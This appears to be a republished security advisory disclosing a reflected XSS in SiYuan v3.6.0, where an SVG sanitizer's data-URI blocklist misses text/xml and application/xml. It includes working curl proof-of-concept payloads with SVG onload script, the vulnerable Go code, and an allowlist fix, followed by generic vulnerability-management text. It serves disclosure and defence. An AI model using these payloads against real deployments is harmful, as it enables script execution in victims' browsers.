SanitizeSVG blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml. Both render SVG with onload JavaScript execution (confirmed in Chromium 136, other browsers untested).
/api/icon/getDynamicIcon is unauthenticated and serves SVG as Content-Type: image/svg+xml. The content parameter (type=8) gets embedded into the SVG via fmt.Sprintf with no escaping. The sanitizer catches data:text/html but data:text/xml passes the blocklist -- only three MIME types are checked.
This is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via <img> tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or <object>/<embed> embedding.
Against SiYuan v3.6.0 (Docker):
# 1. data:text/xml bypass -- <a> element preserved with href intact
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \
| grep -o '<a [^>]*>'
# Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">
# 2. data:text/html is correctly blocked -- href stripped
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><a href="data:text/html,<script>alert(1)</script>">click</a><text>' \
| grep -o '<a [^>]*>'
# Output: <a> (href removed)
# 3. data:application/xml also bypasses
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \
| grep -o '<a [^>]*>'
# Output: <a href="data:application/xml,..."> (href preserved)
JS execution confirmed in Chromium 136 -- data:text/xml SVG onload fires and posts a message to the parent window via iframe test.
kernel/util/misc.go lines 289-293:
if strings.HasPrefix(val, "data:") {
if strings.Contains(val, "text/html") || strings.Contains(val, "image/svg+xml") || strings.Contains(val, "application/xhtml+xml") {
continue
}
}
text/xml and application/xml aren't in the list. Both serve SVG with JS execution.
Reflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.
Docker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on nodeIntegration/contextIsolation settings. Issue #15970 ("XSS to RCE") explored that path.
The deeper issue: the blocklist approach for data: URIs is fragile. text/xml and application/xml are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.
v3.6.0 (latest, confirmed). All versions since SanitizeSVG was added to fix CVE-2026-29183.
Flip the data: URI check to an allowlist -- only permit safe image types in href:
if strings.HasPrefix(val, "data:") {
safe := strings.HasPrefix(val, "data:image/png") ||
strings.HasPrefix(val, "data:image/jpeg") ||
strings.HasPrefix(val, "data:image/gif") ||
strings.HasPrefix(val, "data:image/webp")
if !safe {
continue
}
}
If you prefer extending the blocklist, add at minimum: text/xml, application/xml, text/xsl, and multipart/ types.
| Software | From | Fixed in |
|---|---|---|
github.com/siyuan-note/siyuan
|
- | 0.0.0-20260313024916-fd6526133bb3.x |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.